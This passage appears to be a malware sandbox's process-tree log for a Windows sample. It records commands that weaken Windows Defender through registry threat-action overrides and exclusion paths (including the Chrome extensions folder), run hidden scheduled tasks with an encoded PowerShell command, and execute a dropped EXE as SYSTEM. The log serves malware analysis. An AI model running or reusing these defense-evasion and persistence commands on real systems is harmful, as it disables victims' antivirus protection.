                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                  forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                  4⤵
                                                                    PID:752
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                      5⤵
                                                                        PID:2260
                                                                        • \??\c:\windows\SysWOW64\reg.exe
                                                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                          6⤵
                                                                            PID:2272
                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                        forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                        4⤵
                                                                          PID:2264
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                            5⤵
                                                                              PID:1588
                                                                              • \??\c:\windows\SysWOW64\reg.exe
                                                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                6⤵
                                                                                  PID:2988
                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                              forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                              4⤵
                                                                                PID:1692
                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                  5⤵
                                                                                    PID:2424
                                                                                    • \??\c:\windows\SysWOW64\reg.exe
                                                                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                      6⤵
                                                                                        PID:2464
                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                    4⤵
                                                                                      PID:808
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                        5⤵
                                                                                          PID:2752
                                                                                          • \??\c:\windows\SysWOW64\reg.exe
                                                                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                            6⤵
                                                                                              PID:2900
                                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                                          forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                          4⤵
                                                                                            PID:1748
                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                              /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                              5⤵
                                                                                                PID:1900
                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                  powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                  6⤵
                                                                                                  • Drops file in System32 directory
                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                  PID:1544
                                                                                                  • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                    "C:\Windows\system32\gpupdate.exe" /force
                                                                                                    7⤵
                                                                                                      PID:1148
                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                              schtasks /CREATE /TN "gtFsosnzX" /SC once /ST 00:35:16 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                              3⤵
                                                                                              • Creates scheduled task(s)
                                                                                              PID:2492
                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                              schtasks /run /I /tn "gtFsosnzX"
                                                                                              3⤵
                                                                                                PID:1908
                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                schtasks /DELETE /F /TN "gtFsosnzX"
                                                                                                3⤵
                                                                                                  PID:1644
                                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                                  "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True"
                                                                                                  3⤵
                                                                                                    PID:2836
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
                                                                                                      4⤵
                                                                                                        PID:1528
                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                          powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
                                                                                                          5⤵
                                                                                                          • Drops file in System32 directory
                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                          PID:2952
                                                                                                          • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                            "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
                                                                                                            6⤵
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            PID:1684
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nlcUipsDcFbdntMB" /t REG_DWORD /d 0 /reg:32
                                                                                                      3⤵
                                                                                                        PID:1328
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nlcUipsDcFbdntMB" /t REG_DWORD /d 0 /reg:32
                                                                                                          4⤵
                                                                                                          • Windows security bypass
                                                                                                          PID:2572
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nlcUipsDcFbdntMB" /t REG_DWORD /d 0 /reg:64
                                                                                                        3⤵
                                                                                                          PID:2228
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nlcUipsDcFbdntMB" /t REG_DWORD /d 0 /reg:64
                                                                                                            4⤵
                                                                                                            • Windows security bypass
                                                                                                            PID:1236
                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                          cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nlcUipsDcFbdntMB" /t REG_DWORD /d 0 /reg:32
                                                                                                          3⤵
                                                                                                            PID:1748
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nlcUipsDcFbdntMB" /t REG_DWORD /d 0 /reg:32
                                                                                                              4⤵
                                                                                                                PID:2072
                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                              cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nlcUipsDcFbdntMB" /t REG_DWORD /d 0 /reg:64
                                                                                                              3⤵
                                                                                                                PID:344
                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nlcUipsDcFbdntMB" /t REG_DWORD /d 0 /reg:64
                                                                                                                  4⤵
                                                                                                                    PID:2328
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  cmd /C copy nul "C:\Windows\Temp\nlcUipsDcFbdntMB\VnnXvUJI\gWTMLNZaUSDvSVvp.wsf"
                                                                                                                  3⤵
                                                                                                                    PID:1964
                                                                                                                  • C:\Windows\SysWOW64\wscript.exe
                                                                                                                    wscript "C:\Windows\Temp\nlcUipsDcFbdntMB\VnnXvUJI\gWTMLNZaUSDvSVvp.wsf"
                                                                                                                    3⤵
                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                    PID:2104
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR" /t REG_DWORD /d 0 /reg:32
                                                                                                                      4⤵
                                                                                                                      • Windows security bypass
                                                                                                                      PID:2080
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR" /t REG_DWORD /d 0 /reg:64
                                                                                                                      4⤵
                                                                                                                      • Windows security bypass
                                                                                                                      PID:704
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ecOJmsgAHWlsC" /t REG_DWORD /d 0 /reg:32
                                                                                                                      4⤵
                                                                                                                      • Windows security bypass
                                                                                                                      PID:2036
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ecOJmsgAHWlsC" /t REG_DWORD /d 0 /reg:64
                                                                                                                      4⤵
                                                                                                                      • Windows security bypass
                                                                                                                      PID:628
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\epoBtGYzqLvU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                      4⤵
                                                                                                                      • Windows security bypass
                                                                                                                      PID:2152
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\epoBtGYzqLvU2" /t REG_DWORD /d 0 /reg:64
                                                                                                                      4⤵
                                                                                                                      • Windows security bypass
                                                                                                                      PID:1108
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qIYKRzUEasUn" /t REG_DWORD /d 0 /reg:32
                                                                                                                      4⤵
                                                                                                                      • Windows security bypass
                                                                                                                      PID:1656
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qIYKRzUEasUn" /t REG_DWORD /d 0 /reg:64
                                                                                                                      4⤵
                                                                                                                      • Windows security bypass
                                                                                                                      PID:2320
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zgoZGMcaU" /t REG_DWORD /d 0 /reg:32
                                                                                                                      4⤵
                                                                                                                      • Windows security bypass
                                                                                                                      PID:2604
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zgoZGMcaU" /t REG_DWORD /d 0 /reg:64
                                                                                                                      4⤵
                                                                                                                      • Windows security bypass
                                                                                                                      PID:2608
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\pICeQFkDCDDquYVB" /t REG_DWORD /d 0 /reg:32
                                                                                                                      4⤵
                                                                                                                      • Windows security bypass
                                                                                                                      PID:560
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\pICeQFkDCDDquYVB" /t REG_DWORD /d 0 /reg:64
                                                                                                                      4⤵
                                                                                                                      • Windows security bypass
                                                                                                                      PID:1816
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                      4⤵
                                                                                                                      • Windows security bypass
                                                                                                                      PID:1632
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                      4⤵
                                                                                                                      • Windows security bypass
                                                                                                                      PID:1556
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf" /t REG_DWORD /d 0 /reg:32
                                                                                                                      4⤵
                                                                                                                      • Windows security bypass
                                                                                                                      PID:2272
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf" /t REG_DWORD /d 0 /reg:64
                                                                                                                      4⤵
                                                                                                                      • Windows security bypass
                                                                                                                      PID:1976
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nlcUipsDcFbdntMB" /t REG_DWORD /d 0 /reg:32
                                                                                                                      4⤵
                                                                                                                      • Windows security bypass
                                                                                                                      PID:608
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nlcUipsDcFbdntMB" /t REG_DWORD /d 0 /reg:64
                                                                                                                      4⤵
                                                                                                                      • Windows security bypass
                                                                                                                      PID:1912
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR" /t REG_DWORD /d 0 /reg:32
                                                                                                                      4⤵
                                                                                                                        PID:2424
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR" /t REG_DWORD /d 0 /reg:64
                                                                                                                        4⤵
                                                                                                                          PID:1692
                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                          "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ecOJmsgAHWlsC" /t REG_DWORD /d 0 /reg:32
                                                                                                                          4⤵
                                                                                                                            PID:1764
                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                            "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ecOJmsgAHWlsC" /t REG_DWORD /d 0 /reg:64
                                                                                                                            4⤵
                                                                                                                              PID:2292
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\epoBtGYzqLvU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                              4⤵
                                                                                                                                PID:1700
                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\epoBtGYzqLvU2" /t REG_DWORD /d 0 /reg:64
                                                                                                                                4⤵
                                                                                                                                  PID:2328
                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qIYKRzUEasUn" /t REG_DWORD /d 0 /reg:32
                                                                                                                                  4⤵
                                                                                                                                    PID:992
                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qIYKRzUEasUn" /t REG_DWORD /d 0 /reg:64
                                                                                                                                    4⤵
                                                                                                                                      PID:2724
                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zgoZGMcaU" /t REG_DWORD /d 0 /reg:32
                                                                                                                                      4⤵
                                                                                                                                        PID:1812
                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zgoZGMcaU" /t REG_DWORD /d 0 /reg:64
                                                                                                                                        4⤵
                                                                                                                                          PID:2088
                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                          "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\pICeQFkDCDDquYVB" /t REG_DWORD /d 0 /reg:32
                                                                                                                                          4⤵
                                                                                                                                            PID:2564
                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                            "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\pICeQFkDCDDquYVB" /t REG_DWORD /d 0 /reg:64
                                                                                                                                            4⤵
                                                                                                                                              PID:2780
                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                              4⤵
                                                                                                                                                PID:1752
                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                4⤵
                                                                                                                                                  PID:2736
                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                  4⤵
                                                                                                                                                    PID:2756
                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                    4⤵
                                                                                                                                                      PID:3040
                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nlcUipsDcFbdntMB" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                      4⤵
                                                                                                                                                        PID:1924
                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nlcUipsDcFbdntMB" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                        4⤵
                                                                                                                                                          PID:2004
                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                        schtasks /CREATE /TN "yfARWRprRqUFWeTGf" /SC once /ST 00:52:41 /RU "SYSTEM" /TR "\"C:\Windows\Temp\nlcUipsDcFbdntMB\LDIxkfUBXQlUStg\BAWyXvX.exe\" aV /tYrYdidxz 385118 /S" /V1 /F
                                                                                                                                                        3⤵
                                                                                                                                                        • Drops file in Windows directory
                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                        PID:2244
                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                        schtasks /run /I /tn "yfARWRprRqUFWeTGf"
                                                                                                                                                        3⤵
                                                                                                                                                          PID:1816
                                                                                                                                                      • C:\Windows\Temp\nlcUipsDcFbdntMB\LDIxkfUBXQlUStg\BAWyXvX.exe
                                                                                                                                                        C:\Windows\Temp\nlcUipsDcFbdntMB\LDIxkfUBXQlUStg\BAWyXvX.exe aV /tYrYdidxz 385118 /S
                                                                                                                                                        2⤵
                                                                                                                                                        • Checks computer location settings
                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                        • Drops Chrome extension
                                                                                                                                                        • Drops file in System32 directory
                                                                                                                                                        • Drops file in Program Files directory
                                                                                                                                                        • Modifies data under HKEY_USERS
                                                                                                                                                        PID:1632
                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                          "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                          3⤵
                                                                                                                                                            PID:2300
                                                                                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                              forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                                                                                              4⤵
                                                                                                                                                                PID:2952
                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                  5⤵
                                                                                                                                                                    PID:2840
                                                                                                                                                                    • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                      6⤵
                                                                                                                                                                        PID:2752
                                                                                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                                                                                                    4⤵
                                                                                                                                                                      PID:608
                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                        5⤵
                                                                                                                                                                          PID:2936
                                                                                                                                                                          • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                            6⤵
                                                                                                                                                                              PID:840
                                                                                                                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                          forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                                                                                          4⤵
                                                                                                                                                                            PID:2212
                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                              5⤵
                                                                                                                                                                                PID:808
                                                                                                                                                                                • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                  6⤵
                                                                                                                                                                                    PID:3008
                                                                                                                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                                                                                                4⤵
                                                                                                                                                                                  PID:1912
                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                    5⤵
                                                                                                                                                                                      PID:2900
                                                                                                                                                                                      • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                        6⤵
                                                                                                                                                                                          PID:1380
                                                                                                                                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                      forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                      4⤵
                                                                                                                                                                                        PID:2424
                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                          /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
